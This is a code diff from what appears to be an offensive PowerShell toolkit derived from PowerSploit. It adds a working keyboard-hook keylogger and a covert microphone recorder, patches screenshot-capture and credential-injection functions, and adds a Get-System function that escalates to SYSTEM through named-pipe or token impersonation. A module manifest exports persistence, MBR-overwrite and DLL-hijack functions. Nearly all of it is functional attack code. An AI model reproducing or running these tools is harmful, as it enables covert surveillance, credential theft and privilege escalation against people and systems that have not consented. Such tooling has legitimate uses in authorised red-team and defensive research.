100 { $Key = '4' }
|
||||
101 { $Key = '5' }
|
||||
102 { $Key = '6' }
|
||||
103 { $Key = '7' }
|
||||
104 { $Key = '8' }
|
||||
105 { $Key = '9' }
|
||||
106 { $Key = "*" }
|
||||
107 { $Key = "+" }
|
||||
108 { $Key = "|" }
|
||||
109 { $Key = "-" }
|
||||
110 { $Key = "." }
|
||||
111 { $Key = "/" }
|
||||
}
|
||||
}
|
||||
elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) {
|
||||
if ($Shift) {
|
||||
switch ($vKey.value__) { # Shiftable characters
|
||||
48 { $Key = ')' }
|
||||
49 { $Key = '!' }
|
||||
50 { $Key = '@' }
|
||||
51 { $Key = '#' }
|
||||
52 { $Key = '$' }
|
||||
53 { $Key = '%' }
|
||||
54 { $Key = '^' }
|
||||
55 { $Key = '&' }
|
||||
56 { $Key = '*' }
|
||||
57 { $Key = '(' }
|
||||
186 { $Key = ':' }
|
||||
187 { $Key = '+' }
|
||||
188 { $Key = '<' }
|
||||
189 { $Key = '_' }
|
||||
190 { $Key = '>' }
|
||||
191 { $Key = '?' }
|
||||
192 { $Key = '~' }
|
||||
219 { $Key = '{' }
|
||||
220 { $Key = '|' }
|
||||
221 { $Key = '}' }
|
||||
222 { $Key = '<Double Quotes>' }
|
||||
}
|
||||
}
|
||||
else {
|
||||
switch ($vKey.value__) {
|
||||
48 { $Key = '0' }
|
||||
49 { $Key = '1' }
|
||||
50 { $Key = '2' }
|
||||
51 { $Key = '3' }
|
||||
52 { $Key = '4' }
|
||||
53 { $Key = '5' }
|
||||
54 { $Key = '6' }
|
||||
55 { $Key = '7' }
|
||||
56 { $Key = '8' }
|
||||
57 { $Key = '9' }
|
||||
186 { $Key = ';' }
|
||||
187 { $Key = '=' }
|
||||
188 { $Key = ',' }
|
||||
189 { $Key = '-' }
|
||||
190 { $Key = '.' }
|
||||
191 { $Key = '/' }
|
||||
192 { $Key = '`' }
|
||||
219 { $Key = '[' }
|
||||
220 { $Key = '\' }
|
||||
221 { $Key = ']' }
|
||||
222 { $Key = '<Single Quote>' }
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {}
|
||||
else {
|
||||
switch ($vKey) {
|
||||
$Keys::F1 { $Key = '<F1>' }
|
||||
$Keys::F2 { $Key = '<F2>' }
|
||||
$Keys::F3 { $Key = '<F3>' }
|
||||
$Keys::F4 { $Key = '<F4>' }
|
||||
$Keys::F5 { $Key = '<F5>' }
|
||||
$Keys::F6 { $Key = '<F6>' }
|
||||
$Keys::F7 { $Key = '<F7>' }
|
||||
$Keys::F8 { $Key = '<F8>' }
|
||||
$Keys::F9 { $Key = '<F9>' }
|
||||
$Keys::F10 { $Key = '<F10>' }
|
||||
$Keys::F11 { $Key = '<F11>' }
|
||||
$Keys::F12 { $Key = '<F12>' }
|
||||
|
||||
$Keys::Snapshot { $Key = '<Print Screen>' }
|
||||
$Keys::Scroll { $Key = '<Scroll Lock>' }
|
||||
$Keys::Pause { $Key = '<Pause/Break>' }
|
||||
$Keys::Insert { $Key = '<Insert>' }
|
||||
$Keys::Home { $Key = '<Home>' }
|
||||
$Keys::Delete { $Key = '<Delete>' }
|
||||
$Keys::End { $Key = '<End>' }
|
||||
$Keys::Prior { $Key = '<Page Up>' }
|
||||
$Keys::Next { $Key = '<Page Down>' }
|
||||
$Keys::Escape { $Key = '<Esc>' }
|
||||
$Keys::NumLock { $Key = '<Num Lock>' }
|
||||
$Keys::Capital { $Key = '<Caps Lock>' }
|
||||
$Keys::Tab { $Key = '<Tab>' }
|
||||
$Keys::Back { $Key = '<Backspace>' }
|
||||
$Keys::Enter { $Key = '<Enter>' }
|
||||
$Keys::Space { $Key = '< >' }
|
||||
$Keys::Left { $Key = '<Left>' }
|
||||
$Keys::Up { $Key = '<Up>' }
|
||||
$Keys::Right { $Key = '<Right>' }
|
||||
$Keys::Down { $Key = '<Down>' }
|
||||
$Keys::LMenu { $Key = '<Alt>' }
|
||||
$Keys::RMenu { $Key = '<Alt>' }
|
||||
$Keys::LWin { $Key = '<Windows Key>' }
|
||||
$Keys::RWin { $Key = '<Windows Key>' }
|
||||
$Keys::LShiftKey { $Key = '<Shift>' }
|
||||
$Keys::RShiftKey { $Key = '<Shift>' }
|
||||
$Keys::LControlKey { $Key = '<Ctrl>' }
|
||||
$Keys::RControlKey { $Key = '<Ctrl>' }
|
||||
}
|
||||
}
|
||||
|
||||
# Get foreground window's title
|
||||
$Title = New-Object Text.Stringbuilder 256
|
||||
$GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)
|
||||
|
||||
# Define object properties
|
||||
$Props = @{
|
||||
Key = $Key
|
||||
Time = [DateTime]::Now
|
||||
Window = $Title.ToString()
|
||||
}
|
||||
|
||||
$obj = New-Object psobject -Property $Props
|
||||
|
||||
# Stupid hack since Export-CSV doesn't have an append switch in PSv2
|
||||
$CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformation)[1]
|
||||
|
||||
#return results
|
||||
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
|
||||
}
|
||||
return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)
|
||||
}
|
||||
|
||||
$Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))
|
||||
# Cast scriptblock as LowLevelKeyboardProc callback
|
||||
$Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
|
||||
$Callback = $CallbackScript -as $Delegate
|
||||
|
||||
# Get handle to PowerShell for hook
|
||||
$PoshModule = (Get-Process -Id $PID).MainModule.ModuleName
|
||||
$ModuleHandle = $GetModuleHandle.Invoke($PoshModule)
|
||||
|
||||
Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null
|
||||
# Set WM_KEYBOARD_LL hook
|
||||
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)
|
||||
|
||||
$Stopwatch = [Diagnostics.Stopwatch]::StartNew()
|
||||
|
||||
if ($PSBoundParameters['CollectionInterval'])
|
||||
{
|
||||
$Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)
|
||||
while ($true) {
|
||||
if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }
|
||||
$PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
|
||||
Start-Sleep -Milliseconds 10
|
||||
}
|
||||
|
||||
Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
|
||||
Stop-Job -Name Keylogger
|
||||
Unregister-Event -SourceIdentifier ElapsedAction
|
||||
$Sender.Stop()
|
||||
} | Out-Null
|
||||
$Stopwatch.Stop()
|
||||
|
||||
# Remove the hook
|
||||
$UnhookWindowsHookEx.Invoke($Hook)
|
||||
}
|
||||
|
||||
}
|
||||
# Setup KeyLogger's runspace
|
||||
$PowerShell = [PowerShell]::Create()
|
||||
[void]$PowerShell.AddScript($Script)
|
||||
[void]$PowerShell.AddArgument($LogPath)
|
||||
if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }
|
||||
|
||||
# Start KeyLogger
|
||||
[void]$PowerShell.BeginInvoke()
|
||||
|
||||
if ($PassThru.IsPresent) { return $PowerShell }
|
||||
}
|
||||
|
|
@ -0,0 +1,187 @@
|
|||
function Get-MicrophoneAudio {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Records audio from the microphone and saves to a file on disk
|
||||
Author: Justin Warner (@sixdub)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
All credit for PowerSploit functions belongs to the original author and project contributors. Thanks for the awesomeness! See here for more info:
|
||||
http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
|
||||
https://github.com/PowerShellMafia/PowerSploit
|
||||
|
||||
Thanks to Ed Wilson (Scripting Guy) for the one liner to generate random chars. https://blogs.technet.microsoft.com/heyscriptingguy/2015/11/05/generate-random-letters-with-powershell/
|
||||
|
||||
.DESCRIPTION
|
||||
Get-MicrophoneAudio utilizes the Windows API from winmm.dll to record audio from the microphone and saves the wave file to disk.
|
||||
|
||||
.OUTPUTS
|
||||
Outputs the FileInfo object pointing to the recording which has been saved to disk.
|
||||
|
||||
.PARAMETER Path
|
||||
The location to save the audio
|
||||
|
||||
.PARAMETER Length
|
||||
The length of the audio to record in seconds. Default: 30
|
||||
|
||||
.PARAMETER Alias
|
||||
The alias to use for the WinMM recording. Default: Random 10 Chars
|
||||
|
||||
.EXAMPLE
|
||||
Get-MicrophoneAudio -Path c:\windows\temp\secret.wav -Length 10 -Alias "SECRET"
|
||||
Description
|
||||
-----------
|
||||
Records 10 seconds of audio to the path C:\windows\temp\secret.wav using WinMM alias "secret"
|
||||
#>
|
||||
[OutputType([System.IO.FileInfo])]
|
||||
Param
|
||||
(
|
||||
[Parameter( Position = 0, Mandatory = $True)]
|
||||
[ValidateScript({Split-Path $_ | Test-Path})]
|
||||
[String] $Path,
|
||||
[Parameter( Position = 1, Mandatory = $False)]
|
||||
[Int] $Length = 30,
|
||||
[Parameter( Position = 2, Mandatory = $False)]
|
||||
[String] $Alias = $(-join ((65..90) + (97..122) | Get-Random -Count 10 | % {[char]$_}))
|
||||
|
||||
)
|
||||
|
||||
#Get-DelegateType from PowerSploit
|
||||
function Local:Get-DelegateType
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([Type])]
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void]
|
||||
)
|
||||
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
Write-Output $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
#Get-ProcAddress from PowerSploit
|
||||
function local:Get-ProcAddress
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([IntPtr])]
|
||||
|
||||
[Parameter( Position = 0, Mandatory = $True )]
|
||||
[String]
|
||||
$Module,
|
||||
|
||||
[Parameter( Position = 1, Mandatory = $True )]
|
||||
[String]
|
||||
$Procedure
|
||||
)
|
||||
|
||||
# Get a reference to System.dll in the GAC
|
||||
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
||||
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
||||
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||||
# Get a reference to the GetModuleHandle and GetProcAddress methods
|
||||
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
||||
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
||||
# Get a handle to the module specified
|
||||
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||
$tmpPtr = New-Object IntPtr
|
||||
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||
|
||||
# Return the address of the function
|
||||
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||
}
|
||||
|
||||
#Initialize and call LoadLibrary on our required DLL
|
||||
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
|
||||
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
|
||||
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
|
||||
$HND = $null
|
||||
$HND = $LoadLibrary.Invoke('winmm.dll')
|
||||
if ($HND -eq $null)
|
||||
{
|
||||
Throw 'Failed to aquire handle to winmm.dll'
|
||||
}
|
||||
|
||||
#Initialize the function call to count devices
|
||||
$waveInGetNumDevsAddr = $null
|
||||
$waveInGetNumDevsAddr = Get-ProcAddress winmm.dll waveInGetNumDevs
|
||||
$waveInGetNumDevsDelegate = Get-DelegateType @() ([Uint32])
|
||||
if ($waveInGetNumDevsAddr -eq $null)
|
||||
{
|
||||
Throw 'Failed to aquire address to WaveInGetNumDevs'
|
||||
}
|
||||
$waveInGetNumDevs = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($waveInGetNumDevsAddr, $waveInGetNumDevsDelegate)
|
||||
|
||||
#Initilize the function call to record audio
|
||||
$mciSendStringAddr = $null
|
||||
$mciSendStringAddr = Get-ProcAddress winmm.dll mciSendStringA
|
||||
$mciSendStringDelegate = Get-DelegateType @([String],[String],[UInt32],[IntPtr]) ([Uint32])
|
||||
if ($mciSendStringAddr -eq $null)
|
||||
{
|
||||
Throw 'Failed to aquire address to mciSendStringA'
|
||||
}
|
||||
$mciSendString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciSendStringAddr, $mciSendStringDelegate)
|
||||
|
||||
#Initialize the ability to resolve MCI Errors
|
||||
$mciGetErrorStringAddr = $null
|
||||
$mciGetErrorStringAddr = Get-ProcAddress winmm.dll mciGetErrorStringA
|
||||
$mciGetErrorStringDelegate = Get-DelegateType @([UInt32],[Text.StringBuilder],[UInt32]) ([bool])
|
||||
if ($mciGetErrorStringAddr -eq $null)
|
||||
{
|
||||
Throw 'Failed to aquire address to mciGetErrorString'
|
||||
}
|
||||
$mciGetErrorString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciGetErrorStringAddr,$mciGetErrorStringDelegate)
|
||||
|
||||
#Get device count
|
||||
$DeviceCount = $waveInGetNumDevs.Invoke()
|
||||
|
||||
if ($DeviceCount -gt 0)
|
||||
{
|
||||
|
||||
#Define buffer for MCI errors. https://msdn.microsoft.com/en-us/library/windows/desktop/dd757153(v=vs.85).aspx
|
||||
$errmsg = New-Object Text.StringBuilder 150
|
||||
|
||||
#Open an alias
|
||||
$rtnVal = $mciSendString.Invoke("open new Type waveaudio Alias $alias",'',0,0)
|
||||
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
|
||||
|
||||
#Call recording function
|
||||
$rtnVal = $mciSendString.Invoke("record $alias", '', 0, 0)
|
||||
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
|
||||
|
||||
Start-Sleep -s $Length
|
||||
|
||||
#save recorded audio to disk
|
||||
$rtnVal = $mciSendString.Invoke("save $alias `"$path`"", '', 0, 0)
|
||||
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
|
||||
|
||||
#terminate alias
|
||||
$rtnVal = $mciSendString.Invoke("close $alias", '', 0, 0);
|
||||
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
|
||||
|
||||
$OutFile = Get-ChildItem -path $path
|
||||
Write-Output $OutFile
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
Throw 'Failed to enumerate any recording devices'
|
||||
}
|
||||
}
|
||||
|
|
@ -52,9 +52,25 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed
|
|||
#Define helper function that generates and saves screenshot
|
||||
Function Get-Screenshot {
|
||||
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
|
||||
$ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
|
||||
|
||||
$VideoController = Get-WmiObject -Query 'SELECT VideoModeDescription FROM Win32_VideoController'
|
||||
|
||||
if ($VideoController.VideoModeDescription -and $VideoController.VideoModeDescription -match '(?<ScreenWidth>^\d+) x (?<ScreenHeight>\d+) x .*$') {
|
||||
$Width = [Int] $Matches['ScreenWidth']
|
||||
$Height = [Int] $Matches['ScreenHeight']
|
||||
} else {
|
||||
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
|
||||
|
||||
$Width = $ScreenBounds.Width
|
||||
$Height = $ScreenBounds.Height
|
||||
}
|
||||
|
||||
$Size = New-Object System.Drawing.Size($Width, $Height)
|
||||
$Point = New-Object System.Drawing.Point(0, 0)
|
||||
|
||||
$ScreenshotObject = New-Object Drawing.Bitmap $Width, $Height
|
||||
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
|
||||
$DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
|
||||
$DrawingGraphics.CopyFromScreen($Point, [Drawing.Point]::Empty, $Size)
|
||||
$DrawingGraphics.Dispose()
|
||||
$ScreenshotObject.Save($FilePath)
|
||||
$ScreenshotObject.Dispose()
|
||||
|
|
|
|||
|
|
@ -771,7 +771,7 @@ function Invoke-CredentialInjection
|
|||
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
|
||||
|
||||
$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
|
||||
$FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr])
|
||||
$FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
|
||||
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
|
||||
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
|
||||
|
||||
|
|
|
|||
File diff suppressed because one or more lines are too long
|
|
@ -572,7 +572,7 @@ $RemoteScriptBlock = {
|
|||
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
|
||||
|
||||
$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
|
||||
$FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr])
|
||||
$FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
|
||||
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
|
||||
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
|
||||
|
||||
|
|
|
|||
|
|
@ -1686,20 +1686,33 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
|
|||
#Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges.
|
||||
#We need to enumrate all processes running as SYSTEM and find one that we can use.
|
||||
[string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
|
||||
$SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq $LocalSystemNTAccount}
|
||||
|
||||
$SystemTokens = Get-WmiObject -Class Win32_Process | ForEach-Object {
|
||||
$OwnerInfo = $_.GetOwner()
|
||||
|
||||
if ($OwnerInfo.Domain -and $OwnerInfo.User) {
|
||||
$OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper()
|
||||
|
||||
if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
|
||||
$_
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ForEach ($SystemToken in $SystemTokens)
|
||||
{
|
||||
$SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.Id -WarningAction SilentlyContinue -ErrorAction SilentlyContinue
|
||||
$SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.ProcessId -WarningAction SilentlyContinue -ErrorAction SilentlyContinue
|
||||
if ($SystemTokenInfo) { break }
|
||||
}
|
||||
if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
|
||||
if ($SystemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
|
||||
{
|
||||
Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens"
|
||||
}
|
||||
|
||||
if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero)
|
||||
if ($SystemTokenInfo -ne $null -and $SystemTokenInfo.hProcToken -ne [IntPtr]::Zero)
|
||||
{
|
||||
$CloseHandle.Invoke($systemTokenInfo.hProcToken) | Out-Null
|
||||
$systemTokenInfo = $null
|
||||
$CloseHandle.Invoke($SystemTokenInfo.hProcToken) | Out-Null
|
||||
$SystemTokenInfo = $null
|
||||
}
|
||||
|
||||
$ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0}
|
||||
|
|
|
|||
|
|
@ -25,26 +25,29 @@ FunctionsToExport = @(
|
|||
'Add-NetUser',
|
||||
'Add-ObjectAcl',
|
||||
'Add-Persistence',
|
||||
'Add-ServiceDacl',
|
||||
'Convert-NameToSid',
|
||||
'Convert-NT4toCanonical',
|
||||
'Convert-SidToName',
|
||||
'Copy-ClonedFile',
|
||||
'Find-AVSignature',
|
||||
'Find-ComputerField',
|
||||
'Find-DLLHijack',
|
||||
'Find-ForeignGroup',
|
||||
'Find-ForeignUser',
|
||||
'Find-GPOComputerAdmin',
|
||||
'Find-GPOLocation',
|
||||
'Find-InterestingFile',
|
||||
'Find-LocalAdminAccess',
|
||||
'Find-PathHijack',
|
||||
'Find-PathDLLHijack',
|
||||
'Find-ProcessDLLHijack',
|
||||
'Find-ManagedSecurityGroups',
|
||||
'Find-UserField',
|
||||
'Get-ADObject',
|
||||
'Get-ApplicationHost',
|
||||
'Get-CachedRDPConnection',
|
||||
'Get-ComputerDetails',
|
||||
'Get-ComputerProperty',
|
||||
'Get-CurrentUserTokenGroupSid',
|
||||
'Get-DFSshare',
|
||||
'Get-DomainPolicy',
|
||||
'Get-ExploitableSystem',
|
||||
|
|
@ -52,6 +55,11 @@ FunctionsToExport = @(
|
|||
'Get-HttpStatus',
|
||||
'Get-Keystrokes',
|
||||
'Get-LastLoggedOn',
|
||||
'Get-ModifiablePath',
|
||||
'Get-ModifiableRegistryAutoRun',
|
||||
'Get-ModifiableScheduledTaskFile',
|
||||
'Get-ModifiableService',
|
||||
'Get-ModifiableServiceFile',
|
||||
'Get-NetComputer',
|
||||
'Get-NetDomain',
|
||||
'Get-NetDomainController',
|
||||
|
|
@ -78,21 +86,19 @@ FunctionsToExport = @(
|
|||
'Get-ObjectAcl',
|
||||
'Get-PathAcl',
|
||||
'Get-Proxy',
|
||||
'Get-RegAlwaysInstallElevated',
|
||||
'Get-RegAutoLogon',
|
||||
'Get-RegistryAlwaysInstallElevated',
|
||||
'Get-RegistryAutoLogon',
|
||||
'Get-SecurityPackages',
|
||||
'Get-ServiceDetail',
|
||||
'Get-ServiceFilePermission',
|
||||
'Get-ServicePermission',
|
||||
'Get-ServiceUnquoted',
|
||||
'Get-SiteListPassword',
|
||||
'Get-System',
|
||||
'Get-TimedScreenshot',
|
||||
'Get-UnattendedInstallFile',
|
||||
'Get-UserEvent',
|
||||
'Get-UserProperty',
|
||||
'Get-VaultCredential',
|
||||
'Get-VolumeShadowCopy',
|
||||
'Get-VulnAutoRun',
|
||||
'Get-VulnSchTask',
|
||||
'Get-Webconfig',
|
||||
'Install-ServiceBinary',
|
||||
'Install-SSP',
|
||||
|
|
@ -132,6 +138,8 @@ FunctionsToExport = @(
|
|||
'Set-CriticalProcess',
|
||||
'Set-MacAttribute',
|
||||
'Set-MasterBootRecord',
|
||||
'Set-ServiceBinPath',
|
||||
'Test-ServiceDaclPermission',
|
||||
'Write-HijackDll',
|
||||
'Write-ServiceBinary',
|
||||
'Write-UserAddMSI'
|
||||
|
|
|
|||
|
|
@ -0,0 +1,592 @@
|
|||
function Get-System {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
GetSystem functionality inspired by Meterpreter's getsystem.
|
||||
'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create
|
||||
a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege.
|
||||
NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure
|
||||
token duplication works correctly.
|
||||
|
||||
PowerSploit Function: Get-System
|
||||
Author: @harmj0y, @mattifestation
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.PARAMETER Technique
|
||||
|
||||
The technique to use, 'NamedPipe' or 'Token'.
|
||||
|
||||
.PARAMETER ServiceName
|
||||
|
||||
The name of the service used with named pipe impersonation, defaults to 'TestSVC'.
|
||||
|
||||
.PARAMETER PipeName
|
||||
|
||||
The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'.
|
||||
|
||||
.PARAMETER RevToSelf
|
||||
|
||||
Reverts the current thread privileges.
|
||||
|
||||
.PARAMETER WhoAmI
|
||||
|
||||
Switch. Display the credentials for the current PowerShell thread.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS> Get-System
|
||||
|
||||
Uses named impersonate to elevate the current thread token to SYSTEM.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret'
|
||||
|
||||
Uses named impersonate to elevate the current thread token to SYSTEM
|
||||
with a custom service and pipe name.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS> Get-System -Technique Token
|
||||
|
||||
Uses token duplication to elevate the current thread token to SYSTEM.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS> Get-System -WhoAmI
|
||||
|
||||
Displays the credentials for the current thread.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS> Get-System -RevToSelf
|
||||
|
||||
Reverts the current thread privileges.
|
||||
|
||||
.LINK
|
||||
|
||||
https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c
|
||||
https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
|
||||
http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
|
||||
http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
|
||||
#>
|
||||
[CmdletBinding(DefaultParameterSetName = 'NamedPipe')]
|
||||
param(
|
||||
[Parameter(ParameterSetName = "NamedPipe")]
|
||||
[Parameter(ParameterSetName = "Token")]
|
||||
[String]
|
||||
[ValidateSet("NamedPipe", "Token")]
|
||||
$Technique = 'NamedPipe',
|
||||
|
||||
[Parameter(ParameterSetName = "NamedPipe")]
|
||||
[String]
|
||||
$ServiceName = 'TestSVC',
|
||||
|
||||
[Parameter(ParameterSetName = "NamedPipe")]
|
||||
[String]
|
||||
$PipeName = 'TestSVC',
|
||||
|
||||
[Parameter(ParameterSetName = "RevToSelf")]
|
||||
[Switch]
|
||||
$RevToSelf,
|
||||
|
||||
[Parameter(ParameterSetName = "WhoAmI")]
|
||||
[Switch]
|
||||
$WhoAmI
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
|
||||
function Local:Get-DelegateType
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([Type])]
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void]
|
||||
)
|
||||
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
Write-Output $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
